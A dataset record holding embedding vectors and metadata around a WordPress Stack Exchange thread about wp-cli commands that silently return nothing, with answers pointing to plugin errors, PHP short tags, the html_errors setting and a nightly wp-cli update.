-0.0023651123046875, -0.0270233154296875, 0.007465362548828125, -0.026123046875, 0.048248291015625, 0.004390716552734375, 0.02752685546875, -0.01947021484375, -0.01800537109375, 0.00936126708984375, -0.01468658447265625, 0.051116943359375, -0.03643798828125, 0.002532958984375, -0.0298919677734375, 0.06085205078125, -0.00760650634765625, 0.004398345947265625, 0.0227508544921875, 0.043731689453125, 0.0440673828125, -0.0135650634765625, 0.0006957054138183594, 0.0298004150390625, -0.0207672119140625, -0.004825592041015625, 0.020904541015625, 0.0220794677734375, 0.0239410400390625, -0.01218414306640625, -0.00547027587890625, 0.0205841064453125, -0.026824951171875, 0.00855255126953125, -0.01192474365234375, -0.0036830902099609375, 0.034515380859375, -0.006977081298828125, -0.0309600830078125, -0.007175445556640625, -0.0760498046875, -0.03167724609375, 0.0191497802734375, -0.01428985595703125, -0.0222625732421875, 0.00934600830078125, -0.0191192626953125, 0.03179931640625, -0.03399658203125, -0.038421630859375, 0.0026454925537109375, 0.0037555694580078125, 0.01512908935546875, 0.032318115234375, 0.036285400390625, -0.0203857421875, 0.00406646728515625, 0.0230865478515625, 0.005489349365234375, -0.010589599609375, 0.0653076171875, 0.078125, 0.0088348388671875, -0.0401611328125, -0.042816162109375, 0.01325225830078125, 0.04876708984375, -0.03009033203125, 0.0173492431640625, -0.033416748046875, -0.01018524169921875, -0.00948333740234375, -0.0172882080078125, 0.0117340087890625, -0.006740570068359375, 0.053436279296875, 0.0217132568359375, 0.0211029052734375, 0.04559326171875, -0.01163482666015625, 0.06689453125, 0.01534271240234375, -0.0138702392578125, 0.02935791015625, -0.032135009765625, 0.03173828125, -0.0251312255859375, 0.004497528076171875, 0.052032470703125, -0.005115509033203125, -0.002452850341796875, -0.00846099853515625, 0.0251617431640625, -0.01561737060546875, 0.00811767578125, 0.018280029296875, -0.035980224609375, 0.00449371337890625, 0.04400634765625, 0.00890350341796875, -0.0086669921875, 0.0210113525390625, -0.02935791015625, 0.00614166259765625, 0.0010442733764648438, -0.0926513671875, -0.082275390625, 0.051300048828125, -0.037261962890625, -0.0139923095703125, -0.0284881591796875, -0.03594970703125, -0.002002716064453125, -0.00960540771484375, -0.01175689697265625, -0.0130767822265625, -0.0300445556640625, -0.02593994140625, -0.039306640625, -0.055877685546875, -0.00954437255859375, 0.01178741455078125, 0.01178741455078125, 0.0058441162109375, 0.039642333984375, 0.0228118896484375, -0.004184722900390625, 0.0281524658203125, 0.024566650390625, -0.0134735107421875, -0.0399169921875, 0.0038585662841796875, -0.004131317138671875, 0.01424407958984375, 0.00505828857421875, 0.0611572265625, 0.03961181640625, -0.038177490234375, -0.00504302978515625, -0.00724029541015625, 0.005290985107421875, -0.006237030029296875, -0.0009112358093261719, 0.0250701904296875, -0.0137176513671875, -0.03460693359375, -0.055328369140625, -0.01244354248046875, -0.040557861328125, -0.051300048828125, -0.0103912353515625, 0.033477783203125, -0.002094268798828125, -0.03497314453125, -0.0003032684326171875, 0.00901031494140625, -0.01666259765625, 0.01447296142578125, -0.0239715576171875, 0.044952392578125, -0.0067596435546875, -0.0247344970703125, -0.04193115234375, 0.050994873046875, -0.004421234130859375, -0.055389404296875, -0.01412200927734375, -0.0253143310546875, -0.055999755859375, 0.0159454345703125, -0.09661865234375, 0.003108978271484375, 0.039337158203125, 0.00006711483001708984, 0.0225067138671875, -0.005893707275390625, -0.0225372314453125, -0.0081634521484375, 0.0587158203125, -0.02239990234375, -0.028717041015625, 0.005466461181640625, 0.0352783203125, -0.0421142578125, -0.034423828125, 0.005374908447265625, -0.005336761474609375, 0.0038852691650390625, -0.01474761962890625, -0.0264739990234375, -0.003025054931640625, -0.006893157958984375, 0.0035037994384765625, 0.023590087890625, -0.016448974609375, 0.0186004638671875, -0.03948974609375, 0.0034999847412109375, -0.0283050537109375, 0.044403076171875, -0.0908203125, 0.0328369140625, -0.05426025390625, -0.013519287109375, -0.007320404052734375, -0.033172607421875, 0.045257568359375, 0.037811279296875, -0.037841796875, 0.0124969482421875, 0.027008056640625, -0.0178070068359375, 0.033660888671875, -0.029052734375, -0.00568389892578125, -0.0005784034729003906, -0.006717681884765625, -0.01450347900390625, -0.013031005859375, -0.03582763671875, -0.00542449951171875, -0.005123138427734375, 0.0194854736328125, 0.014739990234375, -0.04962158203125, 0.041717529296875, -0.0159454345703125, -0.01910400390625, -0.0234222412109375, -0.01018524169921875, -0.023406982421875, -0.038116455078125, 0.009368896484375, 0.0107421875, -0.00379180908203125, 0.041229248046875, 0.019500732421875, -0.01050567626953125, 0.00502777099609375, 0.051605224609375, 0.0173797607421875, -0.0284576416015625, -0.07135009765625, 0.006679534912109375, 0.00412750244140625, -0.0029659271240234375, 0.07708740234375, 0.032318115234375, 0.0133819580078125, 0.0460205078125, -0.0091400146484375, 0.0017337799072265625, 0.0180511474609375, -0.001068115234375, 0.0268707275390625, -0.00665283203125, 0.00787353515625, 0.0252532958984375, -0.03753662109375, -0.0079193115234375, -0.015960693359375, -0.00232696533203125, -0.00942230224609375, 0.0268096923828125, -0.00855255126953125, 0.003002166748046875, -0.0433349609375, -0.040496826171875, 0.007534027099609375, -0.03497314453125, 0.0277557373046875, 0.006145477294921875, 0.004810333251953125, 0.018524169921875, 0.032989501953125, 0.01206207275390625, -0.03472900390625, -0.027435302734375, -0.0361328125, 0.0201416015625, -0.0250396728515625, -0.012298583984375, 0.01236724853515625, -0.0234527587890625, 0.1097412109375, -0.0018186569213867188, -0.048797607421875, 0.022674560546875, -0.01959228515625, 0.024810791015625, 0.03363037109375, 0.01055908203125, 0.0272979736328125, 0.006259918212890625, -0.05029296875, -0.03424072265625, 0.005290985107421875, -0.0236358642578125, -0.0626220703125, -0.006092071533203125, -0.02716064453125, 0.003864288330078125, -0.0165557861328125, 0.0556640625, -0.044464111328125, 0.047271728515625, -0.001483917236328125, 0.03607177734375, 0.041015625, 0.004474639892578125, 0.005512237548828125, 0.0286407470703125, -0.01708984375, -0.004726409912109375, -0.01113128662109375, -0.01412200927734375, -0.015899658203125, 0.046112060546875, 0.036041259765625, 0.03173828125, 0.0032520294189453125, -0.03179931640625, -0.0028057098388671875, -0.029205322265625, 0.00494384765625, -0.041412353515625, -0.057891845703125, -0.00040078163146972656, 0.046966552734375, 0.014373779296875, -0.005340576171875, -0.0078582763671875, 0.0204315185546875, 0.0027618408203125, 0.01389312744140625, -0.0304107666015625, -0.017852783203125, -0.00506591796875, 0.01026153564453125, 0.013519287109375, -0.039276123046875, -0.052764892578125, 0.0196075439453125, 0.0144805908203125, -0.01611328125, -0.0210418701171875, 0.0259552001953125, -0.030914306640625, -0.0109405517578125, -0.040924072265625, 0.044647216796875, -0.03839111328125, 0.00991058349609375, 0.04571533203125, 0.035125732421875, 0.00530242919921875, 0.0018157958984375, -0.04656982421875, -0.037017822265625, 0.041290283203125, 0.0169525146484375, -0.032867431640625, -0.04547119140625, 0.02081298828125, 0.0109710693359375, -0.00669097900390625, -0.04071044921875, 0.00672149658203125, 0.01346588134765625, 0.013580322265625, 0.00621795654296875, -0.0208282470703125, 0.0914306640625, -0.0231170654296875, 0.06512451171875, 0.034759521484375, 0.06463623046875, -0.01058197021484375, -0.0264434814453125, 0.00298309326171875, -0.0887451171875, -0.04144287109375, -0.021026611328125, -0.0302276611328125, 0.078369140625, 0.028961181640625, 0.002613067626953125, 0.02545166015625, -0.0200653076171875, -0.00440216064453125, -0.016876220703125, 0.01210784912109375, -0.0242156982421875, 0.023773193359375, 0.0014896392822265625, -0.0035991668701171875, 0.0167694091796875, -0.039947509765625, -0.0282745361328125, 0.00787353515625, 0.019989013671875, 0.0133056640625, 0.019256591796875, -0.02008056640625, 0.052215576171875, 0.08697509765625, -0.0184783935546875, 0.040252685546875, 0.0286102294921875, -0.0133819580078125, 0.030731201171875, 0.0199127197265625, -0.034881591796875, -0.06500244140625, -0.03546142578125, -0.01442718505859375, -0.006549835205078125, -0.0288848876953125, -0.00811767578125, 0.0043487548828125, 0.015869140625, 0.034942626953125, -0.0467529296875, 0.0026531219482421875, 0.00571441650390625, -0.0085601806640625, -0.01258087158203125, -0.03619384765625, 0.006206512451171875, -0.004291534423828125, 0.0296173095703125, -0.006954193115234375, -0.044464111328125, -0.002407073974609375, -0.00377655029296875, -0.007213592529296875, -0.008697509765625, 0.01131439208984375, 0.02569580078125, -0.0074462890625, 0.0299072265625, 0.0008068084716796875, 0.056640625, -0.0031909942626953125, -0.0065155029296875, 0.026702880859375, -0.043426513671875, -0.03961181640625, 0.0081939697265625, -0.0164794921875, -0.0125579833984375, -0.04144287109375, -0.006290435791015625, 0.023651123046875, 0.058563232421875, -0.033966064453125, 0.0082244873046875, 0.0462646484375, 0.004199981689453125, -0.035064697265625, -0.035858154296875, 0.03216552734375, 0.005428314208984375, -0.053131103515625, 0.033843994140625, -0.0283355712890625, -0.036834716796875, -0.00865936279296875, -0.024688720703125, 0.050262451171875, -0.052093505859375, 0.014312744140625, 0.0230865478515625, 0.048675537109375, 0.0038661956787109375, -0.01210784912109375, -0.01202392578125, -0.07843017578125, -0.043243408203125, 0.0015420913696289062, -0.0296630859375, 0.02838134765625, 0.0115814208984375, -0.026641845703125, 0.11395263671875, 0.0159759521484375, -0.0160675048828125, 0.009552001953125, 0.0645751953125, -0.05029296875, 0.045654296875, -0.019683837890625, 0.01058197021484375, 0.007007598876953125, -0.00341796875, -0.046112060546875, -0.012359619140625, -0.019622802734375, 0.038848876953125, 0.0074615478515625, 0.0025081634521484375, -0.045196533203125, -0.01483917236328125, -0.006031036376953125, 0.00426483154296875, 0.0007090568542480469, 0.060699462890625, 0.0209503173828125, 0.043426513671875, 0.030975341796875, -0.033111572265625, 0.015045166015625, 0.007564544677734375, -0.006153106689453125, 0.050201416015625, -0.0016422271728515625, -0.005725860595703125, 0.00670623779296875, -0.0062408447265625, -0.01544952392578125, 0.003997802734375, 0.0029964447021484375, -0.01445770263671875, -0.04632568359375, 0.037078857421875, -0.041015625, 0.019073486328125, 0.08770751953125, -0.053070068359375, 0.038543701171875, -0.0171661376953125, 0.0186004638671875, 0.0017175674438476562, 0.01506805419921875, -0.00362396240234375, 0.039825439453125, -0.001422882080078125, 0.05169677734375, -0.0194549560546875, 0.019378662109375, 0.04180908203125, 0.04901123046875, -0.0236053466796875, -0.050384521484375, 0.0305938720703125, 0.048492431640625, -0.004390716552734375, -0.032867431640625, 0.0099639892578125, 0.01174163818359375, 0.040435791015625, 0.0338134765625, 0.07916259765625, 0.00807952880859375, 0.01425933837890625, -0.015899658203125, -0.00860595703125, 0.023162841796875, 0.03228759765625, 0.0249786376953125, 0.036529541015625, -0.03131103515625, -0.039306640625, -0.0275726318359375, 0.00493621826171875, 0.0101165771484375, 0.060211181640625, 0.0092620849609375, 0.06805419921875, -0.0631103515625, -0.033111572265625, -0.01287841796875, 0.0648193359375, 0.0084381103515625, -0.0145416259765625, -0.035736083984375, -0.0867919921875, 0.031585693359375, 0.01934814453125, 0.03485107421875, 0.07720947265625, 0.08184814453125, 0.03814697265625, -0.01654052734375, 0.01507568359375, 0.051422119140625, -0.0244903564453125, 0.002696990966796875, -0.06475830078125, -0.0288238525390625, -0.02154541015625, -0.0301971435546875, 0.004669189453125, -0.026702880859375, 0.005451202392578125, -0.01132965087890625, 0.0222015380859375, -0.007167816162109375, -0.016998291015625, 0.038818359375, -0.0035247802734375, 0.038482666015625, -0.0142974853515625, -0.0321044921875, 0.0007371902465820312, -0.0367431640625, -0.00658416748046875, 0.0013360977172851562, 0.03936767578125, 0.005878448486328125, 0.0029163360595703125, -0.02630615234375, -0.0033016204833984375, 0.02642822265625, 0.0007681846618652344, -0.0259246826171875, -0.0254669189453125, 0.0259552001953125, -0.039825439453125, -0.060516357421875, -0.0274658203125, -0.00843048095703125, 0.0218353271484375, -0.04425048828125, 0.10321044921875, -0.0275726318359375, 0.004184722900390625, 0.00615692138671875, -0.034088134765625, 0.025390625, 0.0021820068359375, -0.034912109375, 0.0198211669921875, 0.00852203369140625, -0.0018262863159179688, -0.049713134765625, 0.006404876708984375, 0.027557373046875, -0.015411376953125, 0.043304443359375, -0.028778076171875, 0.0050048828125, -0.0255279541015625, 0.0208892822265625, -0.033294677734375, -0.0197906494140625, -0.0199737548828125, -0.00905609130859375, 0.014129638671875, 0.010009765625, 0.014129638671875, 0.035919189453125, 0.0115509033203125, -0.018646240234375, 0.0133056640625, -0.040191650390625, 0.01241302490234375, 0.01432037353515625, 0.0208587646484375, 0.00738525390625, -0.01398468017578125, -0.0137939453125, -0.021209716796875, 0.003917694091796875, -0.00429534912109375, -0.0005197525024414062, 0.03497314453125, -0.00948333740234375, 0.020599365234375, 0.0264129638671875, -0.002330780029296875, 0.01111602783203125, 0.01024627685546875, -0.01187896728515625, 0.0021419525146484375, 0.0005698204040527344, -0.0240325927734375, -0.06256103515625, 0.00588226318359375, 0.023529052734375, -0.0462646484375, 0.0169525146484375, -0.049774169921875, -0.01525115966796875, 0.03887939453125, -0.006702423095703125, -0.0284881591796875, 0.0106201171875, -0.03363037109375, 0.0156097412109375, 0.005352020263671875, -0.0296783447265625, -0.01285552978515625, 0.0122222900390625, -0.01081085205078125, -0.0142822265625, -0.044219970703125, -0.00458526611328125, -0.023895263671875, 0.017303466796875, 0.01458740234375, -0.00926971435546875, 0.00373077392578125, 0.002124786376953125, -0.0012903213500976562, 0.048248291015625, 0.0123138427734375, -0.010528564453125, -0.013153076171875, 0.01282501220703125, -0.0179595947265625, -0.032135009765625, 0.01058197021484375, -0.031097412109375, -0.0120391845703125, -0.05712890625, 0.0206298828125, 0.0188140869140625, -0.048553466796875, -0.0926513671875, 0.014434814453125, -0.0258026123046875, -0.043182373046875, -0.0855712890625, -0.054351806640625, 0.0257110595703125, -0.019378662109375, -0.06390380859375, 0.025390625, -0.08355712890625, 0.06304931640625, 0.002685546875, 0.05242919921875, -0.0450439453125, 0.01432037353515625, -0.0105438232421875, 0.0555419921875, 0.04107666015625, 0.00835418701171875, 0.0295562744140625, -0.04461669921875, 0.05572509765625, 0.04571533203125, -0.031829833984375, 0.002628326416015625, 0.011383056640625, 0.0015811920166015625, -0.03875732421875, 0.0005841255187988281, -0.033966064453125, -0.00626373291015625, 0.08599853515625, 0.119873046875, 0.0303955078125, -0.057281494140625, -0.0004253387451171875, -0.01110076904296875, -0.027435302734375, -0.019317626953125, 0.0166015625, -0.0477294921875, -0.00839996337890625, 0.0028781890869140625, 0.007099151611328125, 0.045928955078125, -0.051544189453125, 0.01282501220703125, 0.011627197265625, 0.037872314453125, -0.00884246826171875, 0.03424072265625, -0.0246734619140625, 0.043060302734375, -0.03900146484375, -0.01192474365234375, -0.0193023681640625, 0.037750244140625, -0.0062408447265625, -0.013153076171875, -0.038055419921875, -0.0042877197265625, -0.00836181640625, -0.00705718994140625, -0.007274627685546875, 0.0097198486328125, 0.008331298828125, 0.00023567676544189453, -0.00426483154296875, 0.031463623046875, 0.00537109375, 0.055511474609375, -0.0030002593994140625, 0.0095977783203125, 0.01200103759765625, 0.004421234130859375, -0.00920867919921875, 0.0367431640625, -0.017364501953125, 0.046417236328125, -0.035247802734375, -0.0018358230590820312, 0.00012105703353881836, -0.03607177734375, 0.0013456344604492188, 0.036865234375, 0.011749267578125, -0.06658935546875, 0.055145263671875, 0.006313323974609375, 0.03472900390625, 0.031829833984375 ]
573ea138004fe228eda62835e2a5121e694a96db
Wordpress Stackexchange Q: wp-cli commands do nothing, return nothing I'm using wp-cli 1.5.1. My server is running php7.2. I'm not running suhosin. (Some people seem to think that suhosin may cause the same symptom) When I issue wpcli commands within a non-wordpress directory I get the expected outcome: and error message saying "This does not seem to be a WordPress install." However, when I run wpcli commands within wordpress directories,the prompt returns quickly without output. This seems to apply to most variations of 'wpcli plugin', 'wpcli theme', 'wpci search-replace' and 'wp theme'. These are the ones that I've tested. 'wp --version' and 'wp --help' return the expected output'. What could be happening here? A: Try the --skip-plugins flag with the problematic commands. Just as you experienced I’ve had wp-cli error out silently and do nothing, while frustratingly work for the simpler commands version/info commands. My silent errors were due to a bad plugin. This plugin was using php short tags, which weren't enabled in php/x.x/cli/php.ini which wp-cli uses.
Q: wp-cli commands do nothing, return nothing I'm using wp-cli 1.5.1. My server is running php7.2. I'm not running suhosin. (Some people seem to think that suhosin may cause the same symptom) When I issue wpcli commands within a non-wordpress directory I get the expected outcome: and error message saying "This does not seem to be a WordPress install." However, when I run wpcli commands within wordpress directories,the prompt returns quickly without output. This seems to apply to most variations of 'wpcli plugin', 'wpcli theme', 'wpci search-replace' and 'wp theme'. These are the ones that I've tested. 'wp --version' and 'wp --help' return the expected output'. What could be happening here? A: Try the --skip-plugins flag with the problematic commands. Just as you experienced I’ve had wp-cli error out silently and do nothing, while frustratingly work for the simpler commands version/info commands. My silent errors were due to a bad plugin. This plugin was using php short tags, which weren't enabled in php/x.x/cli/php.ini which wp-cli uses. A: I had a similar issue and here is what I have found: * *html_errors set Off would result in no output from wp-cli (when there were PHP errors such as PHP Notice: Trying to access array offset on value of type null) *apparently, this issue is known and there is a workaround already - https://github.com/wp-cli/wp-cli/issues/5422 * *in short, PHP 7.x produces lots of warnings; switching to nightly build allows to solve it: wp cli update --nightly
wordpress
{ "language": "en", "length": 243, "provenance": "stackexchange_00019.jsonl.gz:486369", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304198" }
[ -0.0345458984375, -0.0252838134765625, -0.052703857421875, -0.0264892578125, -0.0228424072265625, -0.01444244384765625, -0.039764404296875, 0.02447509765625, 0.0222015380859375, 0.015228271484375, -0.0267486572265625, 0.0027065277099609375, -0.0262451171875, -0.0123443603515625, -0.034149169921875, -0.034393310546875, 0.0258636474609375, -0.022735595703125, -0.00736236572265625, -0.0178070068359375, -0.0193939208984375, 0.00930023193359375, 0.01114654541015625, 0.043243408203125, 0.006290435791015625, -0.038726806640625, 0.096923828125, -0.028167724609375, -0.005859375, -0.040618896484375, 0.0105133056640625, 0.0382080078125, 0.0038814544677734375, 0.047119140625, -0.040679931640625, -0.0176544189453125, -0.039337158203125, 0.0284881591796875, -0.00626373291015625, -0.0035152435302734375, -0.0205078125, 0.005046844482421875, 0.04901123046875, 0.01200103759765625, -0.01131439208984375, -0.002521514892578125, -0.0203399658203125, -0.0184478759765625, 0.014556884765625, -0.00977325439453125, -0.010986328125, 0.013458251953125, 0.017303466796875, -0.037078857421875, -0.0048370361328125, -0.0070037841796875, -0.0232696533203125, 0.070556640625, 0.0206146240234375, -0.00725555419921875, -0.0283050537109375, 0.017364501953125, 0.0087432861328125, -0.007068634033203125, 0.01415252685546875, -0.009185791015625, 0.02593994140625, 0.017913818359375, -0.03729248046875, 0.0217132568359375, 0.0416259765625, -0.028106689453125, -0.00823211669921875, -0.024200439453125, -0.0124359130859375, -0.005496978759765625, 0.0303955078125, -0.0266265869140625, -0.00890350341796875, 0.006923675537109375, 0.0626220703125, 0.0207977294921875, 0.003429412841796875, 0.006805419921875, 0.01435089111328125, 0.034912109375, 0.010162353515625, -0.039764404296875, -0.026611328125, -0.0226287841796875, -0.024078369140625, -0.024200439453125, 0.0007295608520507812, -0.038818359375, -0.0211944580078125, -0.044464111328125, -0.0102996826171875, -0.01100921630859375, -0.01715087890625, 0.0230712890625, 0.01397705078125, -0.034149169921875, 0.0263671875, -0.031951904296875, 0.0205535888671875, 0.06793212890625, 0.001338958740234375, 0.002178192138671875, 0.029327392578125, 0.00402069091796875, 0.0059356689453125, 0.003192901611328125, -0.00617218017578125, -0.0157318115234375, 0.0182647705078125, -0.023956298828125, -0.049896240234375, 0.047821044921875, 0.002651214599609375, 0.01404571533203125, 0.0168914794921875, 0.03631591796875, -0.0281219482421875, -0.00730133056640625, 0.018280029296875, 0.0254058837890625, 0.02935791015625, -0.0426025390625, -0.01385498046875, 0.028228759765625, -0.0183258056640625, 0.00939178466796875, 0.039581298828125, 0.0005311965942382812, -0.02557373046875, -0.0248260498046875, 0.0421142578125, 0.01383209228515625, 0.01190948486328125, 0.00928497314453125, 0.0035381317138671875, -0.0452880859375, -0.0294189453125, 0.01450347900390625, 0.0250244140625, 0.0139923095703125, 0.01256561279296875, 0.0277557373046875, 0.0132598876953125, -0.03521728515625, 0.0175018310546875, 0.01364898681640625, 0.02191162109375, -0.0024261474609375, 0.0302734375, -0.03448486328125, 0.020050048828125, -0.0413818359375, 0.019317626953125, -0.0268707275390625, -0.0011577606201171875, -0.017303466796875, 0.00679779052734375, -0.0008687973022460938, 0.0014581680297851562, 0.00957489013671875, -0.0219268798828125, 0.01436614990234375, 0.0039043426513671875, 0.0198974609375, -0.0223846435546875, 0.010284423828125, 0.0283203125, -0.00262451171875, -0.00600433349609375, 0.0139617919921875, -0.01189422607421875, -0.0142059326171875, 0.034393310546875, 0.0272979736328125, -0.00518798828125, -0.021331787109375, 0.059356689453125, -0.023193359375, -0.0701904296875, 0.00579071044921875, 0.0002574920654296875, 0.0268707275390625, 0.047271728515625, -0.00106048583984375, 0.0574951171875, -0.01641845703125, -0.022216796875, 0.0093536376953125, 0.0031757354736328125, -0.0026302337646484375, -0.0141448974609375, 0.005153656005859375, 0.002513885498046875, -0.01042938232421875, -0.0015048980712890625, -0.0062103271484375, 0.0036525726318359375, -0.01515960693359375, -0.0618896484375, 0.0101470947265625, -0.0309600830078125, 0.0302581787109375, -0.006191253662109375, -0.02020263671875, 0.018402099609375, 0.01039886474609375, -0.00934600830078125, -0.040802001953125, -0.045562744140625, 0.03546142578125, -0.05438232421875, 0.0251312255859375, -0.00567626953125, 0.05609130859375, -0.0003466606140136719, -0.0333251953125, -0.0015544891357421875, -0.00400543212890625, -0.002765655517578125, 0.018524169921875, -0.0206756591796875, 0.018524169921875, 0.036834716796875, 0.01324462890625, 0.06549072265625, -0.0032901763916015625, 0.02789306640625, 0.03472900390625, -0.04095458984375, -0.0216827392578125, -0.017425537109375, -0.041168212890625, 0.0291290283203125, 0.05078125, 0.0293426513671875, 0.0200042724609375, -0.0062713623046875, -0.017364501953125, 0.0296173095703125, 0.0027828216552734375, 0.042724609375, -0.0491943359375, -0.020599365234375, -0.038818359375, 0.0302276611328125, -0.0218963623046875, 0.04296875, 0.0408935546875, 0.0150146484375, 0.019927978515625, -0.0182342529296875, -0.038360595703125, 0.0145416259765625, -0.0198974609375, 0.036346435546875, -0.027801513671875, -0.05303955078125, 0.0105133056640625, -0.04156494140625, -0.0020236968994140625, -0.0221710205078125, -0.0221099853515625, -0.01194000244140625, 0.0025272369384765625, 0.031494140625, -0.036590576171875, 0.0278472900390625, 0.01360321044921875, 0.001804351806640625, 0.0165252685546875, -0.020416259765625, -0.0173797607421875, 0.041656494140625, 0.0148773193359375, -0.007251739501953125, 0.0016117095947265625, 0.0230865478515625, -0.0004832744598388672, 0.0256805419921875, 0.00717926025390625, 0.03302001953125, 0.0206146240234375, -0.0128631591796875, 0.00936126708984375, 0.007770538330078125, 0.049102783203125, -0.0038852691650390625, 0.03594970703125, -0.00655364990234375, 0.0028133392333984375, 0.044342041015625, -0.0004639625549316406, 0.0146026611328125, -0.01007080078125, 0.032562255859375, 0.039947509765625, 0.005329132080078125, -0.0233001708984375, -0.0031452178955078125, 0.032440185546875, 0.026702880859375, -0.00274658203125, -0.0157318115234375, -0.0237579345703125, -0.022491455078125, -0.0277862548828125, 0.0235595703125, 0.036468505859375, -0.0168609619140625, -0.025543212890625, -0.0421142578125, 0.02105712890625, -0.090087890625, -0.10589599609375, -0.0193634033203125, -0.031158447265625, -0.0008053779602050781, -0.0133514404296875, -0.0236663818359375, 0.0089874267578125, -0.0162200927734375, 0.01088714599609375, 0.04986572265625, -0.03936767578125, -0.042877197265625, -0.032501220703125, -0.0697021484375, -0.05047607421875, -0.00018930435180664062, -0.0022144317626953125, 0.01605224609375, 0.0589599609375, 0.0174102783203125, -0.052703857421875, 0.0100555419921875, 0.0478515625, -0.0217132568359375, 0.01399993896484375, -0.0207672119140625, -0.00606536865234375, 0.02447509765625, 0.0038604736328125, 0.006988525390625, 0.01071929931640625, -0.006175994873046875, -0.0323486328125, 0.0161285400390625, -0.04150390625, 0.0024890899658203125, -0.0021209716796875, -0.0191802978515625, -0.061248779296875, -0.01806640625, -0.0823974609375, -0.00771331787109375, -0.012603759765625, -0.03399658203125, 0.057769775390625, 0.03802490234375, -0.0261688232421875, 0.00339508056640625, 0.0147857666015625, 0.0011615753173828125, 0.022491455078125, -0.03826904296875, -0.007762908935546875, 0.05194091796875, 0.01120758056640625, 0.02606201171875, 0.0118560791015625, 0.0423583984375, -0.00656890869140625, -0.061920166015625, 0.0009641647338867188, 0.00041556358337402344, -0.0052642822265625, -0.048614501953125, -0.063232421875, 0.016326904296875, 0.00789642333984375, -0.0501708984375, 0.02484130859375, 0.0011234283447265625, 0.0093536376953125, 0.000789642333984375, 0.02789306640625, -0.0236663818359375, -0.0604248046875, 0.001312255859375, 0.05169677734375, -0.056610107421875, -0.05120849609375, 0.049713134765625, -0.022705078125, -0.07562255859375, 0.0291290283203125, 0.018585205078125, -0.00989532470703125, 0.00450897216796875, -0.040374755859375, -0.051513671875, -0.047882080078125, 0.03851318359375, -0.0274658203125, 0.048065185546875, -0.01088714599609375, 0.025390625, -0.02899169921875, -0.0213165283203125, -0.0306549072265625, -0.08416748046875, -0.018798828125, 0.027069091796875, 0.023895263671875, -0.0694580078125, 0.06689453125, -0.05108642578125, 0.052764892578125, -0.043243408203125, -0.007793426513671875, -0.0098419189453125, 0.0419921875, -0.01593017578125, 0.0142669677734375, 0.0011930465698242188, -0.006221771240234375, -0.031341552734375, -0.0163726806640625, 0.0162811279296875, 0.0323486328125, 0.002101898193359375, 0.01303863525390625, 0.0233612060546875, -0.020660400390625, 0.0286102294921875, -0.056243896484375, -0.031768798828125, 0.01450347900390625, -0.029632568359375, 0.0008792877197265625, -0.057769775390625, 0.0330810546875, 0.0230560302734375, -0.042633056640625, 0.003398895263671875, 0.00428009033203125, 0.06219482421875, 0.01175689697265625, -0.01265716552734375, 0.0212860107421875, -0.0033321380615234375, 0.006061553955078125, 0.033172607421875, 0.0797119140625, 0.028778076171875, 0.0200958251953125, 0.0003762245178222656, 0.00760650634765625, 0.030426025390625, -0.00705718994140625, 0.018798828125, 0.005809783935546875, -0.042388916015625, 0.021514892578125, 0.01334381103515625, -0.035247802734375, 0.00035643577575683594, 0.0019588470458984375, -0.021514892578125, 0.031158447265625, 0.049102783203125, 0.0081634521484375, -0.0208740234375, -0.055267333984375, -0.070068359375, 0.02777099609375, -0.050201416015625, -0.00841522216796875, 0.00672149658203125, 0.00832366943359375, 0.04180908203125, -0.027435302734375, -0.004512786865234375, 0.0045318603515625, 0.04412841796875, -0.02313232421875, 0.022216796875, 0.042205810546875, -0.0092926025390625, -0.035919189453125, -0.014434814453125, 0.04449462890625, 0.006237030029296875, -0.0245513916015625, 0.00774383544921875, -0.0182647705078125, -0.0263671875, 0.00547027587890625, 0.0220184326171875, 0.0233612060546875, -0.01285552978515625, -0.01849365234375, -0.0048065185546875, 0.0287322998046875, -0.0379638671875, -0.032623291015625, -0.0250244140625, -0.00846099853515625, -0.01328277587890625, 0.034637451171875, -0.00283050537109375, -0.03485107421875, 0.016265869140625, 0.00653076171875, -0.01239776611328125, -0.006916046142578125, 0.0292816162109375, 0.016937255859375, -0.04644775390625, 0.0362548828125, -0.0167694091796875, 0.038116455078125, -0.02215576171875, -0.0164642333984375, 0.028106689453125, 0.0295257568359375, -0.0043182373046875, -0.0108795166015625, 0.0066986083984375, -0.004520416259765625, -0.00966644287109375, 0.0207672119140625, 0.040740966796875, -0.0038547515869140625, -0.0132598876953125, -0.0201568603515625, 0.0150146484375, 0.006107330322265625, -0.028045654296875, 0.051727294921875, -0.0244598388671875, -0.00997161865234375, 0.06182861328125, -0.06365966796875, 0.003002166748046875, 0.013946533203125, 0.020050048828125, -0.0202178955078125, -0.0081024169921875, 0.005489349365234375, 0.0257720947265625, -0.032073974609375, -0.0217132568359375, 0.06878662109375, -0.037109375, -0.011016845703125, -0.003314971923828125, 0.0070648193359375, -0.025177001953125, 0.00533294677734375, 0.05267333984375, 0.046600341796875, -0.0290374755859375, 0.032928466796875, -0.021087646484375, -0.0191802978515625, -0.0013675689697265625, -0.0272216796875, -0.0699462890625, -0.0357666015625, 0.007625579833984375, -0.01412200927734375, -0.0026988983154296875, -0.0218505859375, -0.0469970703125, 0.04949951171875, 0.060546875, 0.0204925537109375, -0.04443359375, 0.0189666748046875, 0.01629638671875, -0.0005273818969726562, -0.023651123046875, 0.01285552978515625, 0.0582275390625, -0.012725830078125, 0.0086822509765625, 0.0277557373046875, -0.006984710693359375, -0.03173828125, 0.04388427734375, -0.00926971435546875, 0.055389404296875, -0.01322174072265625, -0.008544921875, 0.0178375244140625, 0.0125885009765625, -0.00818634033203125, 0.022705078125, 0.062408447265625, -0.01407623291015625, 0.0506591796875, -0.046234130859375, -0.0282745361328125, 0.0191650390625, 0.027191162109375, -0.01056671142578125, -0.015869140625, -0.0316162109375, 0.032470703125, -0.03948974609375, 0.0533447265625, 0.11798095703125, -0.001171112060546875, 0.048980712890625, 0.002468109130859375, -0.007415771484375, 0.0207061767578125, -0.008331298828125, 0.043304443359375, 0.003971099853515625, 0.08441162109375, -0.00006896257400512695, -0.0171051025390625, 0.045806884765625, -0.0445556640625, 0.022735595703125, 0.05633544921875, 0.06512451171875, -0.05206298828125, -0.0157928466796875, 0.010498046875, -0.044281005859375, -0.0193328857421875, -0.009552001953125, 0.0015878677368164062, -0.06317138671875, 0.037872314453125, 0.01325225830078125, -0.01465606689453125, -0.0001424551010131836, -0.0140228271484375, -0.0234222412109375, -0.00998687744140625, 0.004779815673828125, 0.0307464599609375, -0.016998291015625, 0.0303497314453125, 0.01355743408203125, 0.0093841552734375, 0.0053863525390625, 